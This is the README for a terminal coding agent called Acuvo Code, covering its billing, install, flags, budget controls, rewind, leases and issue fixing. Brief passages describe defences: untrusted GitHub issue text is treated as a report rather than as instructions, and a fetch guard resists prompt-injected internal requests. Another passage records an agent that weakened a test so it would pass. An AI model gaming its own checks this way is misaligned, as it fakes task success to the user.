acuvo-code

Acuvo Code

A coding agent for your terminal that writes code, runs it, reads the failure, and fixes it — and that can look at what it built.

Zero dependencies. One file of Node, no framework, no install-time build step.

acuvo "the invoice test is failing — work out why and fix it"

If you already use Claude Code, Codex or Cursor, here is the only reason to add this

You do not bring a key. Every other terminal agent in this class hands you a config file and a provider bill: an Anthropic key, an OpenAI key, an OpenRouter key — yours, metered by them, and a second invoice on top of whatever subscription you already pay. Acuvo Code has one account. acuvo --login writes an Acuvo key, and every request after it goes to https://acuvo.xxiautomate.com/api/cli/v1/chat/completions — the same account as the Acuvo web platform, not a provider console you have to go and top up separately (lib/account.mjs, DEFAULT_GATEWAY_URL).

That is the whole pitch, and it is worth being blunt about how narrow it currently is:

	what an Acuvo account gets you today
The coding loop — write, run, read the failure, fix	covered by the account. acuvo --login, no provider key, no BYOK.
Bring your own key instead	still supported. Without --login the CLI bills your provider account, and says so on every run (bin/acuvo.mjs).
Speech, transcription, documents, images	the endpoints ship baked in and are live — all eight probed 2026-08-12 — but they are gated on a separate ACUVO_MEDIA_SECRET, and --login does not issue one. See the box below.
Video and face	not reachable. face-gateway and image-engine answered 404 in that same probe — absent, not busy.

So do not read this page as "one subscription covers CLI + builder + image + video + voice + face". It does not, today. lib/login.mjs and lib/account.mjs mention neither MODAL_* nor ACUVO_MEDIA_SECRET anywhere — the account covers the model calls, and the creative half is a separate credential that logging in does not hand you. This README has already been wrong in both directions once (see Install), and the version of that mistake that costs the most is always the flattering one.

And there is no benchmark number on this page, deliberately. Terminal-Bench has been run 12 times here — bench/terminal-bench/results/ holds all 12 — and every scored trial came back 0.0, so there is nothing to quote. Any percentage printed here would be a number about our harness, not about this agent. What follows is measured behaviour instead.

---

Why this instead of the others

Most terminal coding agents are the same shape: a model, a file writer, and a loop. Two things here are not.

It runs what it writes. Not "generates and hopes" — it executes the code, reads the actual exit code and stderr, and fixes the cause. On our task bench that loop is the difference between 5/7 and 7/7 with no change of model.

It can see — and it hands back a verdict, not a picture. see_page renders HTML you wrote in a real browser, saves the screenshot into your workspace, and returns what was measured: unreadable text (contrast 1.03:1, needs 4.5): Ember & Oak. About two hundred tokens of specific defects, in the order that matters — a console error that stopped the page booting is printed first, because it explains everything under it.

That last part is the difference, and it is worth being precise about it. The edge is the return value, not the browser. Screenshot tooling is not scarce: Playwright MCP and Chrome DevTools MCP are free and one install away, and your agent may already have a browser built in. What they hand back is an image, and the model has to interpret its own screenshot — the thing models are worst at.

Measured 2026-08-10 against a live Playwright MCP server on one page: the screenshot round-trip cost 3,072 tokens; the see_page verdict for the same page was 89 tokens — a 34× difference, and the smaller one is the one that already contains the answer. see_page does the measuring in code, reports a judgement, and abstains when it cannot tell rather than inventing a finding (findingsFrom, lib/media.mjs). On our own pages that abstention killed two false accusations per page.

Be clear about what that claim is worth: it is a software edge a competent developer could reproduce in a weekend. It buys a head start, not a moat — and it survives a customer typing claude mcp add playwright, which is the whole reason it is the claim we make.

It also speaks, transcribes, and turns HTML into PDF/PNG/PPTX — see Media tools.

BE CLEAR ABOUT WHAT YOU GET ON INSTALL: these eight tools are DARK by default. see_page, speak, transcribe, make_document, read_document, read_table, edit_image and expand_image are the media half, and a fresh install offers none of them.

THIS PARAGRAPH USED TO SAY "there is no public endpoint to enable them with", AND THAT IS NO LONGER TRUE. It was true when it was written; it stopped being true on 2026-08-12, when all eight endpoints were probed concurrently and every one answered — tts, transcribe, document-press, video-render, voice-clone and avatar returned 405 Method Not Allowed, which is the healthy reply a POST-only service gives a GET, and reading it as a failure is how a working stack gets reported as broken. The URLs were then baked into lib/media.mjs as defaults, so nobody has to be told them. Two endpoints did not answer: face-gateway and image-engine returned 404, and those two are genuinely absent.

So the real gate is a CREDENTIAL, not a missing service. These are paid GPU endpoints and they fail shut: with no ACUVO_MEDIA_SECRET (or MODAL_VIDEO_SECRET) the config reports dark, because a missing credential must never mean "open to everyone" on something that bills per second (lib/media.mjs). And acuvo --login does not issue that secret — the account covers model calls, not the media half. Getting the wrong reason for a dark tool costs a reader an afternoon of pointing environment variables at services that were never the problem.

Measured on a bare machine, 2026-08-14: 37 of 52 tools are offered. Of the 15 that are not, one needs a skills directory, ask_user appears only when stdin and stdout are both terminals, four are the LSP tools (see below), git_push is opt-in (ACUVO_ALLOW_PUSH=1 — it is the only verb that leaves your machine), and the other eight are the media half.

The endpoints are plain env vars, so if you run a compatible service you can point at your own. The interface is documented under Media tools. What we are not doing is implying a hosted one exists.

The write→run→fix loop — the actual product — works with nothing but Node and a model key. So do git, search, the budget governor, acuvo spend, the plan ledger, project memory, the audit log and --doctor. The senses are an extra, not the product.

AND THREE THINGS THIS BOX USED TO PUT IN THAT SENTENCE DO NOT BELONG IN IT. It previously read "the language presets, git, search, LSP, MCP, the budget governor" — and claimed the four LSP tools "light up by themselves in any TypeScript project". Measured on this machine 2026-08-14 with --doctor:

claimed as free	what it actually needs	evidence
LSP (find_definition, find_references, check_types, list_symbols)	a language server installed — a TypeScript project is not enough	--doctor: "no language server is installed for typescript" → npm i -D typescript-language-server typescript (lib/lsp.mjs:126-131)
MCP	a server to talk to, and this client passes npx --no, so it cannot fetch one	--doctor → "MCP SERVERS · dark"; the curated catalogue is off by default for exactly this reason (lib/mcp-defaults.mjs)
the language presets	the toolchain on PATH, and they are off by default anyway	--doctor: "presets available … off by default, so pytest / go test / cargo test are refused here"

Each is genuinely free of our dependencies — nothing here needs a key or an account — but "works with nothing but Node and a model key" is a first-run promise, and a reader who installs to try the LSP tools finds four dark rows. The client is zero-dependency; the capabilities are not all zero-setup, and the honest version of this page distinguishes them.

---

Install

Requires Node 20+.

The repository is public. https://github.com/xxiautomate-star/acuvo-code is open and clonable — verified 2026-08-11 by cloning it into an empty directory and running both the CLI and the test suite out of the result. Clone it with git clone https://github.com/xxiautomate-star/acuvo-code.git, then run node acuvo-code/bin/acuvo.mjs --doctor. The clone carries bin/, lib/, test/ and bench/, and there is no node_modules to fetch, so node --test test/*.test.mjs executes immediately on a fresh checkout.

This section used to say that URL 404s. It did when it was written; it does not now, and a warning that has become false is as expensive as the wrong instruction it replaced.

AND THE WARNING THAT REPLACED IT WENT STALE TOO — in the other direction. It said the published repo was "behind, and its suite is not green": 1,192 tests, 4 failing, measured 2026-08-11. Measured again on a fresh clone of main on 2026-08-13: 1,715 tests, 0 failing, exit 0, with no install step. So a reader was being told to expect a red suite from a repo that is green.

Both directions of that mistake cost the same thing — trust in the page — and the second is arguably worse, because it invites a buyer to conclude the project does not test itself. The clone and this document are the same commit now, and the numbers here are re-measured rather than remembered.

Still true: neither acuvo-code nor acuvo is published to npm (the registry returns 404 for both), so there is no npm install -g route.

Or run it from the source you already have. The package is self-contained and has no dependencies, so there is nothing to install — point Node at the entry file:

node /path/to/acuvo-code/bin/acuvo.mjs --version
node /path/to/acuvo-code/bin/acuvo.mjs "add a health check to src/server.js"

To get acuvo on your PATH, link the directory you have:

cd /path/to/acuvo-code
npm link          # no dependencies to fetch — this only creates the shim
acuvo --version

Or take one file and nothing else:

npm run bundle              # ~1s
node dist/acuvo.mjs --version

Measured 2026-08-13: 1,829,742 bytes, 61 modules, built in 1.0s, and run from a directory with no source tree anywhere on the path — --version and --help both answer. Copy that one file to a machine with Node 20+ and it works; there is nothing to install because there is nothing to install.

THIS PARAGRAPH USED TO SAY THE BUNDLE DID NOT EXIST, at length: that scripts/bundle.mjs "was never written", that npm run bundle exits 1, and that all 44 tests in test/bundle.test.mjs skip themselves. Every word of that was true when it was written and every word is false now — the script is 30,806 bytes and its output is above.

Recorded rather than quietly deleted, because a warning that has gone stale is exactly as expensive as the wrong instruction it replaced, and this one was worse than most: it told a reader we were broken in a way we were not. Docs decay in both directions.

Still pending: npm install -g acuvo-code — the package is not published yet.

Before anything else: acuvo --doctor

acuvo --doctor

It spends nothing — no completion is ever requested. It says, line by line, what is actually working on this machine — the key, the four models in the fallback chain, every media endpoint, which tools the model would be offered, and git — and every dark or broken line names the exact variable that fixes it. Exit 0 when nothing is broken, 1 otherwise, so it works in CI. --doctor --json gives the machine form.

It uses the network, and it sends your key. This paragraph used to claim "no API key and no network", and that was false: --doctor sends Authorization: Bearer <your key> to openrouter.ai/api/v1/key and /credits, and pings every configured endpoint. It does that because "present, but it does NOT authenticate" is the single most useful thing it can tell you, and no offline check can produce it.

acuvo --doctor --offline makes the old promise true — no request is made, no key leaves the machine, and every network line reads "not probed". Use it on an air-gapped box, or when you would rather read the code before it talks to anything.

MODEL CHAIN (4 DEEP · DEFAULT DEEPSEEK/DEEPSEEK-V4-FLASH-0731)
  live    OPENROUTER_API_KEY         present, and it authenticates
  live    account balance            $9.16 remaining of $10.00
MEDIA SERVICES
  live    see_page                   configured (…acuvo-render-audit-measure.modal.run) · reachable and authorised
  dark    speak                      MODAL_TTS_URL is unset, so speak is never offered to the model
                                     → set MODAL_TTS_URL to your endpoint URL (and MODAL_VIDEO_SECRET to the value it expects)

14 live · 6 dark · 0 broken
nothing is broken.

The one thing you must set

export OPENROUTER_API_KEY=sk-or-v1-...        # bash
$env:OPENROUTER_API_KEY = "sk-or-v1-..."      # PowerShell

Or just put it in a file, which is what most projects already do:

# .env.local  (or .env) — in the workspace, or any parent up to the repo root
OPENROUTER_API_KEY=sk-or-v1-...

acuvo reads .env.local then .env, walking up from the workspace and stopping at the repository root, so a monorepo can keep one file at the top. A real environment variable always beats a file, and .env.example is deliberately never read — it is committed documentation full of placeholders, and loading it would set a fake key and produce a 401 that blamed yours.

--version and --help work without a key — they are how you check the install worked.

---

Options

Every flag below is real; run acuvo --help for the authoritative list.

flag	what it does
--dir <path>	Workspace root. Default: the current directory.
--model <id>	OpenRouter model id. Default: $OPENROUTER_CODEGEN_MODEL, else deepseek/deepseek-v4-flash-0731 (DEFAULT_MODEL, lib/model.mjs).
--max-rounds <n>	Write → run → fix rounds, 1–64. Default 24 (DEFAULT_MAX_ROUNDS, lib/cli-args.mjs). 1 means one completion and nothing executed. The loop stops on its own when the work verifies, so a task needing four rounds still takes four — the ceiling is headroom, not a spend commitment.
--budget <usd>	Stop when the next round would cross this much spend. --budget 0.50, --budget 25c, --budget $2 all parse. Refuses to start at all if it cannot afford one round. A $0.05 ceiling is on by default — a measured task costs $0.0008–$0.003, so it never fires on ordinary work, and a runaway costs five cents to discover. It is sized to back --max-rounds' default of 24 (24 rounds is roughly $0.03–$0.06 as context grows), rather than picked. --budget none removes it.
acuvo verify [id] [--all]	Re-check a past claim, for nothing. Every run records the exact command this process watched exit 0. acuvo verify runs it again — no model call, no cost — and says whether the claim is still true. Measured: a run claimed npm test passed; after somebody edited the source, acuvo verify answered "THE CLAIM NO LONGER HOLDS — npm test claimed exit 0 and now exits 1" and exited 1. A broken re-check does not accuse the run of lying — the file may have changed since; it says the claim is not true now. "No checkable claim" exits 3, never 0: a run that executed nothing proved nothing. This is downstream of having a machine-checkable verdict at all — an agent whose success criterion is its own closing paragraph has nothing to re-check. --all answers the question a fleet actually leaves behind: seven terminals working a board overnight produce fifty claims, and nobody wants fifty receipts — they want to know which are still true. Deduplicated by command, which is what makes it cheap: twelve runs that claimed npm test are twelve claims and one thing to run. A command that now fails names every claim that rested on it.
--all	Only with acuvo verify. Re-checks every recorded claim instead of the most recent one. Exits 0 if all still hold, 1 if any do not, 3 if nothing checkable was ever recorded.
acuvo rewind [id]	Undo what the agent did to your files. Every run copies the previous contents of each file it writes or deletes into .acuvo/checkpoints/, so a run that rewrote twelve files across five rounds can be put back with one command — no model call, no cost, no git required. Bare acuvo rewind lists the checkpoints and exits 3 when there are none, because "there is no undo here" is not success. acuvo rewind <id> restores the tree to how it looked before that run started — including deleting files the agent created, which a git checkout cannot do because they are untracked. It refuses any file you changed yourself after the run. Each entry records the sha256 of what the agent left; if the file on disk is not that, it is skipped with the reason, because a rewind that threw away your edit would be the accident rather than the fix. --force overrides and prints every forced path as FORCED. --dry-run says exactly what it would touch and touches nothing.
--no-checkpoint	Do not record the previous contents of the files this run writes, so acuvo rewind will have nothing to put back for it. On by default — it costs one read of a file that is about to be overwritten anyway, blobs are content-addressed so ten rounds rewriting one file store one copy per distinct version, and nothing is created at all until a run mutates something. Off automatically under --dry-run, which promises to touch nothing.
--force	Only with acuvo rewind. Restore even the files you edited after the run finished. Everything it overwrites this way is printed as FORCED.
--refute	Get a second opinion. When the run claims success, an independent agent with a fresh context — no sight of how the first one thought — tries to refute the claim: runs the tests, checks the callers, looks for a requirement nothing addressed. It cannot write. Measured on a run that cheated by weakening its test until it passed: npm test reported 1/1 green, and the second opinion answered "the test was altered to match the buggy code rather than the code being fixed" — for $0.000636. Only a concrete refutation fails the run; an opinion changes nothing, because failing correct work is the worse error. It spends what is left of your --budget, not a fresh copy of it. This is affordable because a task here costs $0.001–0.003 — an agent at frontier prices cannot make "check everything, always" a default.
--budget-window <period>	Measure --fleet-budget over this period instead of today. 7d, 24h, 2026-08-01. A schedule that fires hourly gets a fresh per-run ceiling every time, so the number you chose is a rate, not a total — $0.02 an hour is $14 a month and nobody typed $14. This makes it a total again. Needs --fleet-budget; a window with no ceiling measures nothing and is refused rather than ignored.
--unattended	Nobody is watching. A fleet ceiling declining to start then exits 3 instead of 1, so a cron log can tell "it chose not to run" from "it ran and failed" — two facts that need opposite reactions and used to share one exit code. Only when it declined: a run that did some work and then hit the ceiling has left the job half-finished, and that still exits 1, because half-finished is something to look at.
--claim	Take the next open task off the shared board and run it, instead of typing a prompt. Needs --holder. Seven terminals each running acuvo --holder tN --claim split one list of work with nobody doing the same task twice — the claim is a lease, so a worker that crashes returns its task to the board rather than parking it forever. An empty board exits 0, not 1: a fleet finishing its work must not look like six failures. See acuvo board and acuvo board add "…".
--no-auto-lease	Stop claiming each file as it is written. Every write and delete normally takes a short lease on that exact path, so a second terminal calling write_file on it is refused rather than silently overwriting your work. A lease guards the file verbs; it cannot guard code the agent runs. Proven: a write_file was refused and an evaluate overwrote the same file seconds later — a process can write anything you can. What the tool does instead is make it LOUD: after any verb that starts a process, the paths other terminals hold are checked, and a change is reported with the file and the holder — --lease is a declaration you have to make in advance, this is the guarantee. On by default because it only refuses a proven conflict with another live terminal: with one terminal open there is nothing to find. If the lease system itself cannot run (unwritable directory, corrupt record) the write proceeds unprotected rather than being blocked — a check that fails correct work is worse than no check.
--fleet-budget <usd>	The ceiling across every terminal working this workspace today, not just this run. --budget caps one run; seven terminals multiply that by seven, so this is the number that stays true when you open all seven. Summed from the audit log every run already writes (.acuvo/audit/*.jsonl) — there is no second ledger to drift, and no reset to remember. Off unless you ask for it. A run's cost is recorded when it finishes, so live runs elsewhere are not yet in the total; the overshoot that allows is bounded by their own --budget ceilings.
--until-done	Keep going while the criterion you declared is unmet, the budget allows, and the loop is not going in circles. Requires --budget. It also escalates rather than merely retrying — see Escalation.
--max-tier <tier>	How hard --until-done may try: solo | fresh | best-of. Default best-of. solo turns escalation off without turning the run off.
--best-of <n>	Do the task n times (2–5) in isolated workspace copies and keep whichever one verifies. On its own it is a single parallel round; combined with --until-done it sets how wide the ladder's top rung is.
--shell	Run commands through a real shell — pipes, &&, redirection, and any program on the machine. Off by default; read What it can execute first.
--lease <path>	Claim a file before starting, so several terminals can share one checkout. Repeatable. Released when the process exits, however it exits.
--holder <name>	Who to record as holding those leases. Default: the pid.
--engine <id>	Which Acuvo creative engine this run may use — acuvo-image, acuvo-image-ultra, acuvo-video, acuvo-video-ultra, acuvo-voice, acuvo-face. The core engine is the default and an Ultra one runs only when you name it here. A premium engine that fires on its own spends credits on a decision you did not make — at 585 credits a clip against Starter's 2,000, one silent escalation is a quarter of the month. Set per medium, so choosing an image engine cannot change what speak does. Four of the six do not run from the CLI at all today (there is no video module and no face module here, and the premium image model is behind the gateway) — naming one is refused with the reason, which is a different refusal from not on your plan and from out of credits. acuvo engines lists them with the credit cost of each.
--no-run	Never execute anything. It can still read, write and edit.
--command-timeout <s>	Kill a command after this long. Default 120 (DEFAULT_COMMAND_TIMEOUT_MS, lib/command.mjs).
--max-tokens <n>	Ceiling on each reply. Default 12000 (DEFAULT_MAX_TOKENS, lib/model.mjs).
--timeout <s>	Give up on the model after this long. Default 180.
--issue <n>	Read a GitHub issue, branch, fix it, run the tests. Stops at a local branch — the flow itself never pushes and never opens a PR. (The agent can push only if you separately set ACUVO_ALLOW_PUSH=1, and even then never to a protected branch.)
--parallel	Run several quoted tasks at once. Names any file written by more than one task and exits 1 on a collision.
--concurrency <n>	How many at a time, 1–4. Default 2.
--json	One JSON object on stdout, nothing else. Human output goes to stderr.
--dry-run	Print what would be written. Touches nothing, runs nothing.
--plan	Propose first, then build. Runs a read-only planning pass, prints the plan and asks for approval before anything is written or run.
--strict	Exit 1 when the run wrote nothing and ran nothing. Off by default — a question can be answered correctly without touching anything — but on automatically when CI is set, because a build step that reports success for doing nothing is the failure the exit code exists to prevent.
--offline	With --doctor: make no network request at all. Your key is not sent anywhere and every endpoint line reads "not probed". Without it, --doctor verifies your key against openrouter.ai — which is how it can tell you a key is present but revoked.
--since <period>	With acuvo spend: how far back to total. 7d, 24h, 2w, or a date like 2026-08-01. Omit it for everything the log still holds. An unparseable period is refused rather than silently meaning "all time".
--version, -v	Print the version.
--help, -h	Usage.

Run acuvo with no prompt to open an interactive session — it keeps context between turns, so "now do the same for the other file" works, and later turns are cheaper than the first.

Two different numbers get quoted about that, and only one of them is ours:

• The prefix we re-send is byte-identical between rounds — 100%, asserted by test/cache-prefix-stability.test.mjs and test/turn-cache-and-prefix.test.mjs. That is the half this tool controls.
• The hit rate the provider actually reports varies with upstream routing. deepseek/deepseek-v4-flash-0731 is served by 28 upstream endpoints and a prompt cache lives on one of them. Measured 2026-08-14 on the same 4-round task: 46.7%–48.6% unpinned, 73.7%–95.8% pinned with ACUVO_PROVIDER_ORDER. Run acuvo --json and read .cache.hitRate and .providers for yours.

Pinning the upstream — ACUVO_PROVIDER_ORDER

variable	what it does
ACUVO_PROVIDER_ORDER	Comma-separated OpenRouter provider names, in preference order — e.g. DeepInfra or DeepInfra,Novita. Off by default. It expresses a preference: allow_fallbacks stays true, so if the pinned upstream is down the request still goes through somewhere else. That is deliberate — a cheaper request that does not happen is not cheaper.
ACUVO_PROVIDER_STRICT	1 turns the preference into a hard pin (allow_fallbacks: false), so an unhonourable pin becomes an HTTP 404 instead of a silent re-route. Right for a benchmark, wrong for everyday work. Meaningless without ACUVO_PROVIDER_ORDER.

A pin can be accepted and then ignored. OpenRouter does not reject a provider list it cannot honour — an unknown name, or one your account's data policy excludes, is treated as an empty preference and routing proceeds at random. Measured: ACUVO_PROVIDER_ORDER=DeepSeek returns 404 when sent alone and, inside a real request, silently fell back to 0.0% cached. So the run now says so: the summary prints ⚠ ACUVO_PROVIDER_ORDER=… did not take and names who served it instead, and --json carries providers.pin, providers.served, providers.pinTook, providers.pinFellBack and providers.pinMissed.

A list is not one cache. A prompt cache lives on ONE upstream instance, so only the first name in the list reuses the cache you have been accumulating; a fallback to the second is a live provider and a cold prefix. Measured 2026-08-16 by replaying one byte-identical 46,171-byte payload against StreamLake,Baidu,GMICloud: StreamLake 98.3% cached at $0.000172, Baidu 0.0% cached at $0.000791 — 4.6× for the same bytes, on roughly 5% of rounds (2 of 40). providers.pinTook counts only first-choice rounds and providers.pinFellBack counts the cold ones; the summary names them. pinMissed keeps its old meaning — nobody in the list served it — and stays rare, because a three-name list nearly always contains whoever answered.

Exit code is 1 if the last command it ran still fails. That makes it usable in a script.

Stop on money, not on a counter

acuvo --budget 0.50 "make the failing suite pass"
acuvo --until-done --budget 0.50 "make npm test pass, then commit it"

The round counter was always an arbitrary stop: it ends a run that is one round from finishing, and it lets a run that is going nowhere spend its whole allowance. --budget makes the wall the thing you actually have an opinion about.

Before every round it projects what the next one will cost — from the trend of the rounds so far, with a safety margin — and stops if that would cross your ceiling. So it stops before the round that would exceed the budget, not after. It also refuses to start when it cannot afford even one round, so a --budget 0.000001 typo costs nothing instead of buying one round to discover it was hopeless.

The run prints one line at the end:

budget: $0.0048 of $0.0500 spent · 4 rounds · next ~$0.0013 · $0.0452 left

Two honest limits. A round that comes back with no reported cost is estimated from its token count at a single blended rate, and the line says so (⚠ 1 of 3 rounds reported no cost, so the total is an estimate) rather than printing a confident total. And the overshoot bound is one round, not zero: a cost curve growing faster than ~1.4× per round can cross the line by at most that round's own cost. If you need a hard guarantee, leave headroom.

--until-done will not run without --budget. An unbounded loop against a paid API, unattended, is the one thing this CLI refuses to do. With both flags it stops accepting the model's own "I am finished" while a criterion you declared with declare_acceptance has not actually passed — up to three times, then it stops and records the criterion as unmet. It still stops immediately on the budget, and it stops if the loop detector sees the same circular pattern twice.

--budget and --parallel together are refused rather than silently multiplied: a ceiling for one conversation applied to three tasks is three times the number you typed.

Escalation: trying harder costs money, so it is budgeted

--until-done --budget 2.00 does not just retry. It climbs, and each rung is entered only if the remaining budget covers it:

rung	what it does
solo	one attempt. What every run does. Cheapest.
fresh	the same task in a new context, carrying the failure and not the transcript. The context that produced a loop is the one least able to escape it.
best-of	several independent attempts in isolated copies of the workspace; whichever verifies is the one applied.

$ acuvo --until-done --budget 2.00 "make the suite pass"
  ↑ solo did not verify — escalating to fresh (~0.0019 projected, 0.0081 left)
  ...
  the ladder (each rung ran on its own slice of --budget):
  ✖ solo     $0.0016  would-exceed
  ✔ fresh    $0.0019  verified
  → verified at the fresh rung for $0.0035.

Why this exists: a task costs on the order of $0.0007, so three attempts here cost less than one attempt on frontier pricing. "One attempt, be smart" is a constraint of the price, not of the problem.

Four things it will not do:

• Start a rung it cannot finish. Half a best-of spends real money and applies nothing, because the winner is chosen by comparison.
• Guess what a rung costs. best-of n is projected at n times what the last attempt actually cost, because it is literally n of them.
• Hide a rung it skipped. "It failed" and "it failed and I could not afford to try harder" are different facts, and only one of them means raise the budget. The report says which.
• Buy the same failure three times. A missing API key, an exhausted balance or a model id that does not exist will fail identically on every rung, so it stops and says so instead of paying to prove it twice more.

Each rung runs on its own slice of --budget (weighted 1 : 1.4 : 3), so the first attempt cannot spend the whole ceiling and leave nothing to escalate with. The budget is a ceiling, not a target — when the first rung verifies, the rest is never spent.

Escalating the model too

By default every rung uses the model you are already on. Set ACUVO_MODEL_TIERS — cheapest first — and each rung steps up:

ACUVO_MODEL_TIERS="deepseek/deepseek-v4-flash-0731,deepseek/deepseek-chat,z-ai/glm-4.6"

It is off unless you configure it, and that default is arithmetic rather than caution. The budget projects each rung from what the previous one measurably cost, which is sound while the model is constant and wrong the moment it is not — a rung on a model costing 20× per token would be projected at 3× a cheap attempt and waved through. There is no price table in this package and a wrong one is worse than none, so configuring tiers is you saying you know what they cost. When a rung does switch model, the run says so out loud and the cost projection falls back to its floor rather than trusting a number derived from a different model.

A REPL that remembers — and nothing else in this category has one

evaluate writes a snippet to a file and runs it in a fresh process. So does every other terminal coding agent: Claude Code, Cursor, Codex and Aider all execute statelessly, and none of them can hold a value between two thoughts.

That is not how anybody debugs. A human loads the module, looks at a real value, pokes the object, tries the fix on the live thing:

repl   const m = await import("./lib/budget.mjs")
repl   m.parseBudgetUsd("25c")        → { ok: true, usd: 0.25 }
repl   m.formatUsd(0.0025)            → $0.0025

Three lines, one process, and line 2 can see line 1. Statelessly that is three scripts that each re-read and re-parse the file — which is why models rewrite a whole script to answer a question a single expression would settle, and why each rewrite is another paid round.

• Top-level await works, so await import("./thing.mjs") reaches your project.
• It runs in the workspace, with the real global — process, fetch and timers behave exactly as they do in the code under test.
• It tells you what it is holding. Every reply lists the names in scope, so the model never has to guess its own state.
• repl_reset throws the session away. Imports are cached, so reset after editing a file you already imported — that is the one real trap.

A hanging expression stops the session rather than blocking every later call: the driver is single-threaded, and a REPL that answers nothing is worse than none. Withheld by --no-run and in single-shot runs, like everything else that executes.

Long-running processes: it can start a server

run_command waits for a command to finish and kills it at a timeout, which is right for npm test and makes a dev server impossible rather than slow. Three verbs cover the rest:

tool	what it does
start_process	Start something that keeps running — a dev server, a watcher, a build in watch mode. Same allowlist as run_command.
check_process	Read what it has printed, whether it is still running, and — if it announced a port — whether it is actually answering HTTP on localhost.
stop_process	Stop it and everything it started.

So the model can write a server, run it, and confirm it serves before telling you it works:

round 3  start_process    $ node server.mjs
round 4  check_process    → HTTP 200 on http://localhost:4479/
round 5  stop_process
✔ VERIFIED — `GET http://localhost:4479/` exited 0.

The localhost probe is not a hole in the fetch guard. fetch_url still refuses loopback and private addresses, because a page the model was told to read must not be able to talk it into fetching an internal address. This connects only to a port this tool started, discovered from that process's own output.

Everything started this way is killed when the run ends — on normal exit and on Ctrl-C, with the whole process tree, not just the direct child. Four at a time, and the refusal names the ones already running.

What has it cost me?

acuvo spend                      # everything the log still holds
acuvo spend --since 7d           # or 24h, 2w, or 2026-08-01
acuvo spend --json               # one object, for a script

Every run already appends one redacted line to .acuvo/audit/<date>.jsonl including its cost; this reads them back. No API key, no completion, no network.

A run that never recorded a cost is shown separately and is NEVER counted as zero. A run that died on a 401 did not bill anything and genuinely does not know what it cost — folding that in as $0.00 would produce a total that is confidently too low, in the one report you open because you don't trust your memory of it. A real $0.00 run (refused before any call) is a known zero and does count.

The report also says how far back the log reaches, because audit.mjs prunes whole days — "all time" means "as far back as this still goes", and a total that silently starts mid-history is the same kind of lie.

Several terminals, one checkout

acuvo --lease src/api.ts --lease src/db.ts "add the pagination"
acuvo leases        # who holds what, and since when. No API key needed.

Leases are per path, not per repo — a repo-wide lock would idle six of seven terminals. They are taken before anything is spent, heartbeated between rounds, and released when the process exits however it exits. A stale one becomes reclaimable only after its TTL plus a grace period of silence, so a slow model round cannot make a working terminal look dead.

This is a declaration, not a guarantee. A coding agent does not know which files it will write until it writes them, so --lease protects exactly the paths you name. Making coverage automatic means calling acquire() inside the executor's write path — that work is not done, and pretending otherwise would be worse than the gap.

Two defaults moved and this table was wrong about both for a while: --max-rounds was documented as 3 and --max-tokens as 8000. The numbers above are the exported constants, and test/docs-truth.test.mjs now fails the suite if the README and the code disagree again. acuvo --help prints the same values from the same constants — trust either.

Undo — acuvo rewind

Verified end to end on a real run, 2026-08-14:

$ acuvo "add a multiply function to math.mjs, write a README, and delete stale.txt"
  ✎ replaced math.mjs   ✎ created README.md   ✂ deleted stale.txt
  · checkpoint 20260814-084541-84u8 — 3 files can be put back: acuvo rewind 20260814-084541-84u8

$ acuvo rewind 20260814-084541-84u8
  ✔ restored math.mjs
  ✔ restored stale.txt
  ✔ deleted README.md — the agent created it
  2 restored · 1 deleted

Every mutation goes through two functions (writeFile and deleteFile in lib/workspace.mjs), so the previous bytes are copied at the moment they still exist — one read of a file that is about to be overwritten anyway. Blobs are content-addressed: three writes to one file store two blobs when two of them left it the same. Nothing is created until a run mutates something, and --dry-run records nothing at all.

rewind <id> means "put the files back the way they were before that run started", so it covers that run and everything after it. Undoing an older run while a newer one sits on top would produce a state no moment in time ever had, which is not a checkpoint.

It refuses any file you changed yourself after the run — the sha256 of what the agent left is recorded, and a file that is no longer that is skipped by name with the reason. --force overrides. Nothing restored because everything conflicted exits 3, not 0.

The agent cannot edit its own undo history. .acuvo/ is hard-refused on the executor's write path (agentWriteRefusal, lib/workspace.mjs) — reads are untouched, so it can still explain what it did.

Runs are saved, and every run leaves a record

Verified by running it, 2026-08-10:

flag	what it does
--sessions	List the runs saved in this workspace, newest first, and exit. Needs no API key.
--resume <id>	Carry on from a saved run. Add an instruction to steer it: --resume <id> "now add tests".
--continue	The same, on the most recent resumable run.
--no-session	Do not save this run.
--no-audit	Do not append this run to the audit log.
--replay <id>	Step through a saved run: every round, call, result and refusal. Runs nothing and writes nothing.
--replay <id> --only <what>	Narrow it: refusals, writes, runs, effects, reasoning. A filtered call brings its result with it.
--replay <a> --diff <b>	Compare two runs and name the step where they split.

--replay is how you answer "what did it actually do on Tuesday" after the terminal has closed. Real output, from a run made while writing this:

run 20260811-034506-nr33 · deepseek/deepseek-v4-flash-0731 · 2 rounds · $0.000921
⚠ REPLAY — nothing here was re-run. Every line below is what happened then.
── round 1 ─────────────────────────────────────────────
  → call   write_file  path="slug.mjs"  content="export function slugify(s) {…"… (144 chars)
  ✔ result  created slug.mjs (144 bytes)
── round 2 ─────────────────────────────────────────────
  → call   run_command  command="node --test slug.test.mjs"
  ✔ passed  exit code: 0 (0.4s) — PASSED
  counts   3 calls · 0 refused · 2 writes · 1 runs

It re-runs nothing — same invariant --resume holds, and for the same reason: a replay that re-executed would be a command run twice by someone who typed it once. The JSON form says so in a field (executed: false) rather than only in prose.

A finished run writes two things into the workspace: .acuvo/sessions/<id>.json, so a follow-up rebuilds the conversation instead of re-paying for the whole gather, and one line of .acuvo/audit/<date>.jsonl — what was asked, what changed, what verified, what it cost. Measured: the second turn of a resumed task cost 11,516 tokens against the first turn's 17,312.

The audit line carries no file contents, no command output and no model prose, and it is run through a redactor first (redact, lib/audit.mjs) — an OpenRouter key in your task text comes out as [redacted:api-key]. --dry-run writes neither file, because a dry run that creates two files has broken its own promise.

---

Three things it does that a coding agent usually cannot

Fix a GitHub issue

acuvo --issue 42

Reads the issue, creates fix/42-<slug>, finds the cause, fixes it, runs the tests.

It stops there. No push, no pull request — it prints the exact git push and gh pr create for you to run. An agent that opens a PR because it believed it was finished is an agent that embarrasses you in front of your team. If you already use gh, it reuses that login.

The issue body is treated as untrusted input. Anyone can open an issue on a public repo, so it is quoted to the model as a report to investigate, never as instructions to follow.

Several tasks at once

acuvo --parallel "add tests for the parser" "write the README" --concurrency 3

The interesting part is not the speed, it is the collision. Two agents in one workspace will eventually write the same file, and whoever finishes second wins — silently. Acuvo records what each task wrote, names any file written by more than one of them, and exits 1 so acuvo --parallel … && git commit refuses to proceed.

It does not try to merge them. Two model-authored versions of a file cannot be reconciled without you.

Work you can script

acuvo --json "add a health check" | jq '.verification.passed'

